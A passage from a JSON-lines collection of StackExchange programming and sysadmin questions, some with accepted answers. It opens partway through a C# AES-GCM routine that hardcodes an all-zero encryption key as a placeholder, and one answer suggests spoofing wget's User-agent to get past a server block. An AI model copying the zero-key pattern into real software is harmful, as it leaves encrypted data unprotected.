retrieve encrypted data.                        cs.Write(message, 0, message.Length);                        cs.FlushFinalBlock();                        byte[] cipherText = ms.ToArray();                                           // Retrieve tag and create array to hold encrypted data.                        byte[] authenticationTag = encryptor.GetTag();                              byte[] encrypted = new byte[cipherText.Length + aes.IV.Length + authenticationTag.Length];                        // Set needed data in byte array.                        aes.IV.CopyTo(encrypted, 0);                                               authenticationTag.CopyTo(encrypted, IV_LENGTH);                        cipherText.CopyTo(encrypted, IV_LENGTH + TAG_LENGTH);                        // Store encrypted value in base 64.                        return Convert.ToBase64String(encrypted);                    }                }            }        }      }    // DecryptString - decrypts a string    // Pre: passed the base 64 string from the database to be decrypted    // Post: returns the decrypted string    public static string DecryptString(string str)    {        if (String.IsNullOrEmpty(str))        {            throw new ArgumentNullException(decryption string invalid);        }        using (AuthenticatedAesCng aes = new AuthenticatedAesCng())        {            byte[] encrypted = Convert.FromBase64String(str);               // Convert string to bytes.            aes.Key = getEncryptionKey();                                   // Retrieve Key.            aes.IV = getIV(encrypted);                                      // Parse IV from encrypted text.            aes.Tag = getTag(encrypted);                                    // Parse Tag from encrypted text.            encrypted = removeTagAndIV(encrypted);                          // Remove Tag and IV for proper decryption.            aes.CngMode = CngChainingMode.Gcm;                              // Set Cryptographic Mode.            aes.AuthenticatedData = getAdditionalAuthenticationData();      // Set Authentication Data.            using (MemoryStream ms = new MemoryStream())            {                using (ICryptoTransform decryptor = aes.CreateDecryptor())                {                    using (CryptoStream cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Write))                    {                        // Decrypt through stream.                        cs.Write(encrypted, 0, encrypted.Length);                        cs.FlushFinalBlock();                        // Remove from stream and convert to string.                        byte[] decrypted = ms.ToArray();                        return Encoding.UTF8.GetString(decrypted);                    }                }            }         }    }    // getEncryptionKey - retrieves encryption key from somewhere close to Saturn.    // Pre: nada.    // Post: Don't worry bout it    private static byte[] getEncryptionKey()    {        // Normally some magic to retrieve the key.        // For now just hard code it.        byte[] key = { 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 };        return key;    }    // generateIV - generates a random 12 byte IV.    // Pre: none.    // Post: returns the random nonce.    private static byte[] generateIV()    {        using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider())        {            byte[] nonce = new byte[IV_LENGTH];            rng.GetBytes(nonce);            return nonce;        }    }    // getAdditionalAuthenticationData - retrieves authentication data.    // Pre: none;.    // Post: returns the AAD as a byte array.    private static byte[] getAdditionalAuthenticationData()    {        // hardcode for now        string str_1 = A promise that I know the key;        return Encoding.UTF8.GetBytes(str_1);    }    // getTag - parses authentication tag from the ciphertext.    // Pre: passed the byte array.    // Post: returns the tag as a byte array.    private static byte[] getTag(byte[] arr)    {        byte[] tag = new byte[TAG_LENGTH];        Array.Copy(arr, IV_LENGTH, tag, 0, TAG_LENGTH);        return tag;    }    // getIV - parses IV from ciphertext.    // Pre: Passed the ciphertext byte array.    // Post: Returns byte array containing the IV.    private static byte[] getIV(byte[] arr)    {        byte[] IV = new byte[IV_LENGTH];        Array.Copy(arr, 0, IV, 0, IV_LENGTH);        return IV;    }    // removeTagAndIV - removes the tag and IV from the byte array so it may be decrypted.    // Pre: Passed the ciphertext byte array.    // Post: Peturns a byte array consisting of only encrypted data.    private static byte[] removeTagAndIV(byte[] arr)    {        byte[] enc = new byte[arr.Length - TAG_LENGTH - IV_LENGTH];        Array.Copy(arr, IV_LENGTH + TAG_LENGTH, enc, 0, arr.Length - IV_LENGTH - TAG_LENGTH);        return enc;    }}"  , "title": "Symmetric encryption/decryption routine using AES"  , "tags": "c#;security;aes"  } 
{  "id": "_codereview.83065"  , "question": "I'm a beginner in MVC programming, repository, and UOW using Entity framework. I tried to calling my existing SP in my MVC project using UOW and EF.Here is my code to mapping my SP in myDbContext file:modelBuilder.Entity<Applicant>().MapToStoredProcedures(            s => s.Insert(                i => i.HasName(InsertApplicant)                .Parameter(fn => fn.First_Name,FirstName)                .Parameter(ln => ln.Last_Name,LastName)                .Parameter(em => em.Email,Email)                .Parameter(tn => tn.Tel_No,TelNo)                .Parameter(mn => mn.Mobile_No,MobileNo)                .Parameter(vt => vt.Visa_Type,VisaType)                .Parameter(lu => lu.LinkedIn_URL,LinkedInURL)                .Parameter(ob => ob.Objective, Objective)                .Parameter(ac => ac.Active, Active)));And, below is the code I used to call the SP on my controller (i don't know if it's right or not):using (var context = new MyExperienceDbContext())            {                var fn = new SqlParameter(@FirstName, entity.First_Name);                var ln = new SqlParameter(@LastName, entity.Last_Name);                var em = new SqlParameter(@Email, entity.Email);                var pn = new SqlParameter(@TelNo, entity.Tel_No);                var mn = new SqlParameter(@MobileNo, entity.Mobile_No);                var vt = new SqlParameter(@VisaType, entity.Visa_Type);                var lu = new SqlParameter(@LinkedInURL, entity.LinkedIn_URL);                var ob = new SqlParameter(@Objective, entity.Objective);                var ac = new SqlParameter(@Active, entity.Active);                context.Database.ExecuteSqlCommand(InsertApplicant @FirstName,@LastName,@Email,@TelNo,@MobileNo,@VisaType,@LinkedInURL,@Objective,@Active ,                    fn, ln, em, pn, mn, vt, lu, ob, ac);                return RedirectToAction(Index);            }It works fine for me, but I noticed if I delete the mapping's code in myDbContext file everything still works fine. I believe i'm failed to implemented the UOW and repository concept in EF when calling my existing SP, right? Do you have any idea with my question above or do you have tutorial suggestion to calls SP using UOW and EF in MVC project?"  , "title": "Calling Stored Procedure insert query using EF 6, UOW, and MVC 5"  , "tags": "c#;mvc;entity framework;repository"  } 
{  "id": "_softwareengineering.264501"  , "question": "I have a fairly simple application that is divided into two classes. The first class is the Manager class and the second class is the employee class. These are simple classes and do not inherit from any other class. Now what I want is to keep others from instantiating the employee class.The Manager class has an instantiated pointer to the employee class and controls all the methods of the employee class from there.My first idea is to keep the constructor of the employee as private and putting the manager as its friend. Such as this:class employee{ friend class manager; private:  employee()  {  }}class manager{  private:  boost::shared_ptr<employee> emp;  public:  bar()  {    emp = boost::shared_ptr<employee>(new employee());    //Now manager uses this pointer to control employee  } } This is something i came up with but wanted to know if there was a design pattern or a better approach to accomplish this . My objective is to prevent others from creating or using the employee class the only drawback i see to this is exposing the private variables of employee class to the manager class"  , "title": "Which design pattern restricts limits class creation to certain classes"  , "tags": "design patterns;c++"  , "accepted_answer": "I guess the way you have solved the problem of having a private Constructor might just serve your need. I don't see any creational design pattern fit this requirement, but you should be fine without one here. "  } 
{  "id": "_softwareengineering.290955"  , "question": "I was assigned to maintain an application written some time ago by more skilled developers. I came across this piece of code:public Configuration retrieveUserMailConfiguration(Long id) throws MailException {        try {            return translate(mailManagementService.retrieveUserMailConfiguration(id));        } catch (Exception e) {            rethrow(e);        }        throw new RuntimeException(cannot reach here);    }I'm curious if throwing RuntimeException(cannot reach here) is justified. I'm probably missing something obvious knowing that this piece of code comes from more seasoned colleague.EDIT:Here is rethrow body that some answers referred to. I deemed it not important in this question.private void rethrow(Exception e) throws MailException {        if (e instanceof InvalidDataException) {            InvalidDataException ex = (InvalidDataException) e;            rethrow(ex);        }        if (e instanceof EntityAlreadyExistsException) {            EntityAlreadyExistsException ex = (EntityAlreadyExistsException) e;            rethrow(ex);        }        if (e instanceof EntityNotFoundException) {            EntityNotFoundException ex = (EntityNotFoundException) e;            rethrow(ex);        }        if (e instanceof NoPermissionException) {            NoPermissionException ex = (NoPermissionException) e;            rethrow(ex);        }        if (e instanceof ServiceUnavailableException) {            ServiceUnavailableException ex = (ServiceUnavailableException) e;            rethrow(ex);        }        LOG.error(internal error, original exception, e);        throw new MailUnexpectedException();    }private void rethrow(ServiceUnavailableException e) throws            MailServiceUnavailableException {        throw new MailServiceUnavailableException();    }private void rethrow(NoPermissionException e) throws PersonNotAuthorizedException {    throw new PersonNotAuthorizedException();}private void rethrow(InvalidDataException e) throws        MailInvalidIdException, MailLoginNotAvailableException,        MailInvalidLoginException, MailInvalidPasswordException,        MailInvalidEmailException {    switch (e.getDetail()) {        case ID_INVALID:            throw new MailInvalidIdException();        case LOGIN_INVALID:            throw new MailInvalidLoginException();        case LOGIN_NOT_ALLOWED:            throw new MailLoginNotAvailableException();        case PASSWORD_INVALID:            throw new MailInvalidPasswordException();        case EMAIL_INVALID:            throw new MailInvalidEmailException();    }}private void rethrow(EntityAlreadyExistsException e)        throws MailLoginNotAvailableException, MailEmailAddressAlreadyForwardedToException {    switch (e.getDetail()) {        case LOGIN_ALREADY_TAKEN:            throw new MailLoginNotAvailableException();        case EMAIL_ADDRESS_ALREADY_FORWARDED_TO:            throw new MailEmailAddressAlreadyForwardedToException();    }}private void rethrow(EntityNotFoundException e) throws        MailAccountNotCreatedException,        MailAliasNotCreatedException {    switch (e.getDetail()) {        case ACCOUNT_NOT_FOUND:            throw new MailAccountNotCreatedException();        case ALIAS_NOT_FOUND:            throw new MailAliasNotCreatedException();    }}"  , "title": "Is throwing new RuntimeExceptions in unreachable code a bad style?"  , "tags": "java;programming practices"  , "accepted_answer": "First, thanks for udpating your question and showing us what rethrow does. So, in fact, what it does is converting exceptions with properties into more fined-grained classes of exceptions. More on this later.Since I did not really answer the main question originally, here it goes: yes, it is generally bad style to throw runtime exceptions in unreachable code; you'd better use assertions, or even better, avoid the problem. As already pointed out, the compiler here cannot be sure that the code never walks out of the try/catch block. You can refactor your code by taking advantage that...Errors are values(Unsurprisingly, it is well-known in go)Let's use a simpler example, the one I used before your edit: so imagine that you are logging something and building a wrapper exception like in Konrad's answer. Let's call it logAndWrap.Instead of throwing the exception as a side-effect of logAndWrap, you could let it do its work as a side-effect and make it return an exception (at least, the one given in input). You don't need to use generics, just basic functions:private Exception logAndWrap(Exception exception) {    // or whatever it actually does    Log.e(Ouch!  + exception.getMessage());    return new CustomWrapperException(exception);}Then, you throw explicitely, and your compiler is happy:try {     return translate(mailManagementService.retrieveUserMailConfiguration(id));} catch (Exception e) {     throw logAndWrap(e);}What if you forget to throw?As explained in Joe23's comment, a defensive programming way to ensure that the exception is always thrown would consists in explicitely doing a throw new CustomWrapperException(exception) at the end of logAndWrap, as it is done by Guava.Throwables. That way, you know that the exception will be thrown, and your type analyzer is happy. However, your custom exceptions need to be unchecked exceptions, which is not always possible. Also, I'd rate the risk of a developper missing to write throw to be very low: the developer must forget it and the surrounding method should not return anything, otherwise the compiler would detect a missing return. This is an interesting way to fight the type system, and it works, though.RethrowThe actual rethrow can be written as a function too, but I have problems with its current implementation:There are many useless casts like Casts are in fact required  (see comments):if (e instanceof ServiceUnavailableException) {    ServiceUnavailableException ex = (ServiceUnavailableException) e;    rethrow(ex);}When throwing/returning new exceptions, the old one is discarded; in the following code, a MailLoginNotAvailableException does not allow me to know which login is not available, which is inconvenient; moreover, stacktraces will be incomplete:private void rethrow(EntityAlreadyExistsException e)    throws MailLoginNotAvailableException, MailEmailAddressAlreadyForwardedToException {    switch (e.getDetail()) {        case LOGIN_ALREADY_TAKEN:            throw new MailLoginNotAvailableException();        case EMAIL_ADDRESS_ALREADY_FORWARDED_TO:            throw new MailEmailAddressAlreadyForwardedToException();    }}Why doesn't the originating code throws those specialized exceptions in the first place? I suspect that rethrow is used as a compatibility layer between a (mailing) subsystem and busineess logic (maybe the intent is to hide implementation details like thrown exceptions by replacing them by custom exceptions). Even if I agree that it would be better to have catch-free code, as suggested in Pete Becker's answer, I don't think you'll have an opportunity to remove the catch and rethrow code here without major refactorings."  } 
{  "id": "_unix.291438"  , "question": "I am on fresh Debian jessie system and trying to install lvm2:# apt-get install lvm2The following packages have unmet dependencies:lvm2 : Depends: watershed (>= 2) but it is not going to be installedE: Unable to correct problems, you have held broken packagesapt-get update, upgrade, -f, autoremove etc did not help, most importantly, my version of watershed is 7:# aptitude versions watershedPackage watershed:                        i   7      How can I install lvm2?"  , "title": "Broken dependency for lvm2"  , "tags": "debian;software installation;apt;lvm"  } 
{  "id": "_unix.36128"  , "question": "Using the vim text editor, I am looking for a method to copy content highlighted in visual mode to the system clipboard (i.e. I would then be able to Ctr-v that content say in a browser window).  Is there a standard way to copy content directly to the system clipboard?  If not is there a suited hack to enable it for Mac OS 10.7.3?"  , "title": "Vim visual mode to system clipboard?"  , "tags": "vim;osx;copy paste"  , "accepted_answer": "If your VIM was built with the clipboard feature enabled, then you select your text in visual mode, and then type *y.To paste from the clipboard, do *p."  } 
{  "id": "_webapps.108981"  , "question": "I'm trying to get LastPass to import my passwords in a CSV file exported from Avast Passwords. For some strange reason, the option to import passwords doesn't seem to work. The screenshots below showcase the issue I'm currently having.When I press Other, nothing happens. I've scoured the Internet for a solution. I do have BinaryComponent set to true. I have also clicked on the Firefox Password Manager option, it doesn't work."  , "title": "LastPass import feature does not work, v4.1.62 on Firefox v55.0.2 (64-bit)"  , "tags": "import;lastpass;firefox extensions"  } 
{  "id": "_cs.75593"  , "question": "Is there any computable real number which can not be computed by a higher order primitive recursive algorithm?For computable real number I mean those that can be computed by a Turing machine to any desired precision in finite time. For higher order primitive recursive algorithm I mean common primitive recursive functions theory extended with first-class functions (as in Ackermann function).Turing machines are more powerful than higher order primitive recursive functions so there exists the possibility that some computable reals numbers are not expressible by them."  , "title": "Total functional computable real numbers"  , "tags": "computability;primitive recursion;real numbers"  , "accepted_answer": "The set of higher-order primitive recursive reals is essentially the class of functions $\\mathbb{N}\\rightarrow\\mathbb{N}$ which can be represented by a term $\\mathrm{Nat}\\rightarrow\\mathrm{Nat}$ in Gdel's system T.Since every such function is total, and every well-typed term in the system can be enumerated effectively, there is a relatively easy proof by diagonalization that there is some computable real which cannot be represented."  } 
{  "id": "_unix.46191"  , "question": "I want to make a shell script that updates a config file.The file present on the server has information, like various IP addresses.The new file has more code, from new configs added to the system, I want to be able to add these new configurations to the server file without changing what's already configured thereexample:server file[config]ip=127.0.0.1port=22new file[config]ip=XXX.XXX.XXX.XXXport=XXuser=rootI want the resulting file to be[config]ip=127.0.0.1port=22user=rootHow would be a good way to do that? I don't want to rely on line position and such, because the actual config files are quite large and more lines could have been added to the server file.I've tried to make a diff from the files and apply the patch, but it didn't work.Thanks for any help."  , "title": "How to make and apply (patch) one side diff?"  , "tags": "text processing;scripting;configuration;diff;patch"  } 
{  "id": "_webapps.73723"  , "question": "My primary domain name is foobar.com. My secondary domain name is fizbaz.com. When I create links in Google Calendar to do a Hangout, the URL always includes foobar.com no matter what, but I'd like have it have the fizbaz.com name.There doesn't seem to be a way to change either the primary domain or the Hangouts URL to fizbaz.com.Can anyone help with this? It's pretty much a branding disaster to be forced to use an irrelevant domain name and have to explain to people every time about why your business has some random Hangouts URL."  , "title": "Using secondary domain for Google Hangouts URL"  , "tags": "google;google apps;google calendar;google hangouts"  } 
{  "id": "_unix.382099"  , "question": "When I parameterize the date in the code as :str_last_log_date=2017-07-24last_log_date=$(date -d '${str_last_log_date}' +%s)threshold_days_ago=$(date -d 'now - 2 days' +%s)echo last_log_date ${last_log_date}  thres_days_ago ${threshold_days_ago}Gives the error :date: invalid date ${str_last_log_date}   last_log_date thres_days_ago 1500969455But if I don't parameterize the date and pass directly, it gives the correct result : last_log_date=$(date -d '2017-07-24' +%s)threshold_days_ago=$(date -d 'now - 2 days' +%s)echo last_log_date ${last_log_date}  thres_days_ago ${threshold_days_ago}last_log_date 1500854400  thres_days_ago 1500969511Any tips?"  , "title": "Bash : date -d throws invalid date when date is parameterized"  , "tags": "linux;shell script;date"  , "accepted_answer": "last_log_date=$(date -d '${str_last_log_date}' +%s)Should be updated to be (remove single quotes):last_log_date=$(date -d ${str_last_log_date} +%s)"  } 
{  "id": "_unix.43713"  , "question": "The following command will tar all dot files and folders:tar -zcvf dotfiles.tar.gz .??*I am familiar with regular expressions, but I don't understand how to interpret .??*. I executed ls .??* and tree .??* and looked at the files which were listed. Why does this regular expression include all files within folders starting with . for example?"  , "title": "What does .??* mean in a shell command?"  , "tags": "wildcards;tar"  , "accepted_answer": "Globs are not regular expressions.  In general, the shell will try to interpret anything you type on the command line that you don't quote as a glob.  Shells are not required to support regular expressions at all (although in reality many of the fancier more modern ones do, e.g. the =~ regex match operator in the bash [[ construct).  The .??* is a glob.  It matches any file name that begins with a literal dot ., followed by any two (not necessarily the same) characters, ??, followed by the regular expression equivalent of [^/]*, i.e. 0 or more characters that are not /.For the full details of shell pathname expansion (the full name for globbing), see the POSIX spec."  } 
{  "id": "_cogsci.13816"  , "question": "I just discovered voltage sensitive dyes technique: I have seen that figures are labelled with dF/F0, what does it stands for? "  , "title": "Voltage sensitive dyes technique: What is the underlying measure?"  , "tags": "neurobiology;terminology;neuroimaging;electrophysiology"  } 
{  "id": "_unix.80968"  , "question": "This is what I'd like to be able to do:After a user's account is created, they should be able to ssh-tunnel, but their account is automatically removed after 30 days unless the countdown is reset by the root user.How can I automate this? I'll have to handle around 15 users."  , "title": "How can I create automatically expiring user accounts?"  , "tags": "users;account restrictions;accounts;guest account"  , "accepted_answer": "useraddYou can control how long a user's account is valid through the use of the --expiredate option to useradd. excerpt from useradd man page-e, --expiredate EXPIRE_DATE     The date on which the user account will be disabled. The date is     specified in the format YYYY-MM-DD.     If not specified, useradd will use the default expiry date specified     by the EXPIRE variable in /etc/default/useradd, or an empty string      (no expiry) by default.So when setting up the user's account you can specify a date +30 days in the future from now, and add that to your useradd command when setting up their accounts.$ useradd -e 2013-07-30 someuserchageYou can also change a existing accounts date using the chage command. To change an accounts expiration date you'd do the following:$ chage -E 2013-08-30 someusercalculating the date +30 days from nowTo do this is actually pretty trivial using the date command. For example:$ date -d 30 daysSun Jul 28 01:03:05 EDT 2013You can format using the +FORMAT options to the date command, which ends up giving you the following:$ date -d 30 days +%Y-%m-%d2013-05-28Putting it all togetherSo knowing the above pieces, here's one way to put it together. First when creating an account you'd run this command:$ useradd -e `date -d 30 days +%Y-%m-%d` someuserThen when you want to adjust their expiration dates you'd periodically run this command:$ chage -E `date -d 30 days +%Y-%m-%d` someuserSpecifying time periods of less than 24hIf you want a user to only be active for some minutes, you cannot use the options above since they require specifying a date. In that case, you could either set up a crontab to remove/lock the created user after the specified time (for example, 10 minutes), or you could do one of:adduser someuser && sleep 600 && usermod --lock someuseror$ adduser someuser$ echo usermod --lock someuser | at now + 10 minutesReferencesuseradd man pagechage man page"  } 
{  "id": "_webmaster.56046"  , "question": "I have removed some pages from the Google index using webmaster tools but it still shows up in the search results. So you have any idea what would be the problem? You can see the screenshots below"  , "title": "I have removed some pages from the Google index using webmaster tools but it still shows up in the search results"  , "tags": "google search console"  } 
{  "id": "_datascience.12768"  , "question": "I am using SMOTE in Python to perform oversampling of the minor class in an unbalanced dataset. I would like to know the way SMOTE formats its output, that is, whether SMOTE concatenates the newly generated samples to the end of the input data and returns that as the output or whether the new synthetic data points are positioned randomly among the input data points. I'd appreciate your help."  , "title": "location of the resampled data from SMOTE"  , "tags": "unbalanced classes"  , "accepted_answer": "There is not that much package managing the under-/over-sampling in python. So if you are using imbalanced-learn, it will return a numpy array which concatenate the original imbalanced set with the generated new samples in the minority class. "  } 
{  "id": "_webmaster.105891"  , "question": "BackgroundI have shared hosting with hostgator and have two domains on the hosting account. My primary domain which is metalbot.org and another domain with is twocan.co.Each of these are separate websites: http://www.metalbot.org and https://twocan.co respectively.When I type in 'TwoCan English', which is my main keyword for the second domain I get the following result!Uh oh! That is not good at all... Questionswhy is my domain showing up as a sub-folder of my primary domain?And my main question: How can I fix this so that when someone types in TwoCan English it shows https://twocan.co?"  , "title": "Website showing up as part of another domain on google"  , "tags": "seo;google;subdomain;pagerank;subdirectory"  , "accepted_answer": "All right, it appears you didn't stop your dev folder to crawl by bots.Do this and it should fix it.Firstly, make sure your website works perfectly on your .co domain.And then set a permanent 301 redirect in your .org domain (.org/two_can) to your primary .co domain. Meaning if you will fetch .org/two_can then it should redirect to the primary .co domain.Leave this about for a week, you will see the incorrect will disappear from Google.Hope this will help."  } 
{  "id": "_unix.203284"  , "question": "I have a machine with a built-in NIC (eth0), which serves as a DHCP server for a  Raspberry Pi. I also have a USB 3G modem, which shows up as ethernet device eth1. eth0 has the static ip 192.168.100.1 in /etc/network/interfaces.When I connect the Pi to the server, /var/log/syslog shows NetworkManager[2366]: <info> Policy set 'Ifupdown (eth0)' (eth0) as default for IPv4 routing and DNS.and after, ip route show gives default via 192.168.1.100 dev eth0  proto staticI then need to manually ip route delete defaultip route add default via 192.168.1.1to get it to connect to the internet via the 3G modem again.I am using CrunchBang Linux, based on Debian 7 wheezy, on the server, and the latest Raspbian on the Pi.How can I choose the default pathway for NetworkManager to prefer?Edit: here's my /etc/network/interfaces:# This file describes the network interfaces available on your system# and how to activate them. For more information, see interfaces(5).# The loopback network interfaceauto loiface lo inet loopbackallow-hotplug eth0auto eth0iface eth0 inet static    address 192.168.100.1    netmask 255.255.255.0allow-hotplug eth1auto eth1iface eth1 inet dhcpNote that I've changed /etc/NetworkManager/NetworkManager.conf to have[ifupdown]managed=truebecause I want to be able to disconnect eth1, the 3G Modem, using nm-applet.Here's /etc/NetworkManager/NetworkManager.conf:[main]plugins=ifupdown,keyfile[ifupdown]managed=true"  , "title": "NetworkManager changes default routing policy"  , "tags": "debian;routing;networkmanager"  } 
{  "id": "_unix.385632"  , "question": "I have a list of identifiers in column 1 and corresponding counts in column 2. The file looks something like this: KDO65387         65KDO65387         27XP_006465447     971XP_006482015     1207XP_003630414     194XP_002513282     500XP_003630414     23What I want is to sum the values in column#2 if the values in the column#1 in consecutive rows match. The output will look like this:KDO65387    92XP_006465447    971XP_006482015    1207XP_003630414    217XP_002513282    500"  , "title": "How to get count of unique rows in a file?"  , "tags": "text processing"  } 
{  "id": "_unix.87152"  , "question": "I have a site on a server that is basically a bunch of HTML pages, pictures and sounds. I have lost my password to that server and I need to grab everything that is stored there. I can go page by page and save everything but the site has more than 100 pages.I am using OSX. I have tried to use wget but I think the server is blocking that.Is there any alternative I can use to grab that content?"  , "title": "Alternatives to wget"  , "tags": "wget"  , "accepted_answer": "If the server is blocking wget, it is most likely doing it on the basis of the User-agent: field of the http header, since that is the only way for it to know in the first place.  It could also be blocking your IP, in which case using different software won't help, or some scheme which identifies automation on the basis of how rapid a set of requests are (since real people don't browse 100 pages in 3.2 seconds).  I have not heard of anyone doing that, but it is possible.I also have not heard of a way to slow down wget, but there is a way to spoof the user-agent field:wget --user-agent=Will according to the man page drop User-agent: completely, since it is not mandatory.  If the server doesn't like that, try --user-agent=Mozilla/5.0 which should be good enough.Of course, it would help if you explained better why you think the server is blocking that.  Does wget say anything, or just time out?"  } 
{  "id": "_softwareengineering.266534"  , "question": "I am using the Accord.Math Namespace for Visual Studio in c#. I am trying to use the method MeshGrid<> under the Matrix class for the Accord.Math namespace. However, I am unsure how to implement this method even after reading the documentation for it seen here:http://accord-framework.net/docs/html/M_Accord_Math_Matrix_MeshGrid__1.htmCan anybody show me how to properly implement this method?I have two Double[,] variables named xa and ya that I am trying to pass to MeshGrid. I have tried calling by using: var q = Matrix.MeshGrid(xa,ya);But for this is says that the type arguments cannot be inferred from their usage.The output of MeshGrid is a 2-Tuple.T1 is T[,]T2 is T[,]"  , "title": "How to use MeshGrid method in Accord.Math Matrix Class?"  , "tags": "c#"  } 
{  "id": "_datascience.14220"  , "question": "I have a graph which plots training datasize on X axis and accuracy on y axis. I plotted the curves using sklearn's learning_curve.It is observed that the accuracy of training dataset decreases but the accuracy of validation dataset increases. I am not able to justify this behavior. Normally, as training dataset increases, the training accuracy is supposed to increase right?Also, assuming that the dataset is very noisy and hence training accuracy is decreasing as dataset size increases. But this doesn't explain why validation accuracy increases because noise is supposed to affect that too."  , "title": "Training and cross validation error curves"  , "tags": "machine learning;dataset;cross validation;accuracy"  } 
{  "id": "_webmaster.91524"  , "question": "So, UTMs work really well for tracking external campaigns in Google Analytics. I use UTMs all the time for the sites that I work with. But I'm wondering how to properly track these campaigns easily if I migrate the target site into its parent site.I've read through a few different recommendations. Justin Cutroni says create a new Google Analytics view and use site search. This sounds easy, but also seems pretty darn hacky. Site search wasn't meant for that (and site search has a few limitations that aren't present when tracking external campaigns in GA).Escape Studio says site search is one of 3 ways to do this. The others: Enhanced ecommerce, Event tracking, and Custom dimensions. Event tracking, it appears, is the most common solution for this problem, but it involves touching code any time a new campaign is created.Is it possible to simply create a new internal campaign just by adding a querystring to a URL, and then somehow telling GA that the querystring is an internal campaign? And then how to properly monitor these internal campaigns in GA... without touching code."  , "title": "How to track internal campaigns (without writing any code)?"  , "tags": "google analytics;url;campaigns"  } 
{  "id": "_unix.168383"  , "question": "I'm looking for a simple X window manager that :stacks new windows over all others on screenhas no window decorations at all (no title, no borders, no min/max buttons)opens all windows in max mode"  , "title": "Simple X window manager"  , "tags": "x11;software rec;window manager"  } 
{  "id": "_datascience.19842"  , "question": "I am building a standard RandomForest classifier (named model, see the code below) using scikit-learn package. Now, I want to get all parameters of one Randomforest classifier (including its trees (estimators)), so that I can manually draw the flow chart for each tree of the RandomForest classifier. I wonder if anyone knows how it can be done?Thank you in advance.Manh#Import Libraryfrom sklearn.ensemble import RandomForestClassifier #use RandomForestRegressor for regression problem#Assumed you have, X (predictor) and Y (target) for training data set and x_test(predictor) of test_dataset# Create Random Forest objectmodel= RandomForestClassifier(n_estimators=10, max_depth=5) #n_estimators=1000 oob_score = True#====#X, y = input_X, input_yfrom sklearn.cross_validation import train_test_splitX_train, X_test, y_train, y_test = train_test_split(X,y,test_size = 0.2, random_state = 4)# Train the model using the training sets and check scoremodel.fit(X_train, y_train)#Predict Outputy_pred_train = model.predict(X_train)y_pred_test = model.predict(X_test)#accuracyfrom sklearn.metrics import accuracy_scoreprint(accuracy_score(y_train,y_pred_train))print(accuracy_score(y_test,y_pred_test))"  , "title": "Anyway to know all details of trees grown using RandomForestClassifier in scikit-learn?"  , "tags": "scikit learn;random forest;decision trees"  } 
{  "id": "_webapps.83066"  , "question": "Is it possible to make a new friend list on Facebook to include all those who speak the same language?"  , "title": "Make a Facebook list with people that speak the same language"  , "tags": "facebook"  } 
{  "id": "_webapps.18950"  , "question": "Using Trello on an iPad.  Obviously Q is the shortcut to display the cards in Condensed List view, but how do I access Q on an iPad?  The only way to get the keyboard to display is if I am editing a card, and then (of course) Q is just typed in the text box."  , "title": "How do I switch to Condensed List view using Trello on iPad?"  , "tags": "trello;ipad"  } 
{  "id": "_codereview.126211"  , "question": "My code right now look like this    @contextmanagerdef smtp_connection(host, user=None, passwd=None, timeout=5):    conn = None # smell here    try:        conn = SMTP(host=host, timeout=timeout)        conn.ehlo_or_helo_if_needed()        if user and passwd:            conn.login(user=user, password=passwd)        logger.debug('SMTP connected')        yield conn    except Exception as e:        raise e    finally:        if conn: # and here            conn.quit()In recipes for ExitStack there is a suggestion to replace try-finally and flag variables with thiswith ExitStack() as stack:    stack.callback(cleanup_resources)    result = perform_operation()    if result:        stack.pop_all()But this doesn't use result in cleanup_resources. So in my case it still would bewith ExitStack() as stack:    result = None    stack.callback(lambda conn: conn.quit())    result = POP3() # code from above here    if result:        stack.pop_all()"  , "title": "Context manager for SMTP connections"  , "tags": "python;error handling;email"  , "accepted_answer": "except Exception as e:    raise eFirst, you could simplify this toexcept Exception:    raiseSecond, since you only re-raise it, you are not prepared to handle any Exception that could appear either with your code or the code managing the connection returned by your context manager. Thus you don't need that except clause.Now the only thing left to manage is the state of the connection. Since there is no exception handling performed by your code, you are free to create the connection out of the try  finally and use that mechanism to only close the connection whatever happened:@contextmanagerdef smtp_connection(host, user=None, passwd=None, timeout=5):    conn = SMTP(host=host, timeout=timeout)    try:        conn.ehlo_or_helo_if_needed()        if user and passwd:            conn.login(user=user, password=passwd)        logger.debug('SMTP connected')        yield conn    finally:        conn.quit()You could also simplify the design by separating concerns. As it stand, your function does two things:manage the connection;perform some initial setup.By delegating to a second context manager, you could separate these two behaviors into reusable bits:@contextmanagerdef smtp_connection(host, timeout):    connection = SMTP(host=host, timeout=timeout)    try:        yield connection    finally:        connection.quit()@contextmanagerdef smtp_setup(host, user=None, passwd=None, timeout=5):    with smtp_connection(host, timeout) as conn:        conn.ehlo_or_helo_if_needed()        if user and passwd:            conn.login(user=user, password=passwd)        logger.debug('SMTP connected')        yield connBut, looking at the second context manager, there is nothing to manage anymore since there is no teardown/cleanup anymore. Thus it is best to provide it as an independant function:@contextmanagerdef smtp_connection(host, timeout=5):    connection = SMTP(host=host, timeout=timeout)    try:        yield connection    finally:        connection.quit()def smtp_setup(conn, user=None, passwd=None):    conn.ehlo_or_helo_if_needed()    if user and passwd:        conn.login(user=user, password=passwd)    logger.debug('SMTP connected')You would then need to change your calling code fromwith smtp_connection(h, u, p, t) as conn:    # do stufftowith smtp_connection(h, t) as conn:    smtp_setup(conn, u, p)    # do stuffIn the end, I personally don't like to have to manage the try ... finally inside the context manager. I don't find that natural as I preffer to write an explicit class using __enter__ and __exit__:class smtp_connection:    def __init__(self, host, timeout):        self.smtp = SMTP(host=host, timeout=timeout)    def __enter__(self):        return self.smtp    def __exit__(self, exc_type, exc_value, exc_trace):        self.smtp.quit()Using a class could also let you wrap this thing around SMTP directly:class smtp_connection(SMTP):    def __init__(self, host, timeout):        super().__init__(host=host, timeout=timeout)    def __enter__(self):        return self    def __exit__(self, exc_type, exc_value, exc_trace):        self.quit()    def setup(self, user=None, password=None):        self.ehlo_or_helo_if_needed()        if user and passwd:            self.login(user=user, password=passwd)        logger.debug('SMTP connected')Use it like:with smtp_connection(h, t) as conn:    conn.setup(u, p)    # do stuff"  } 
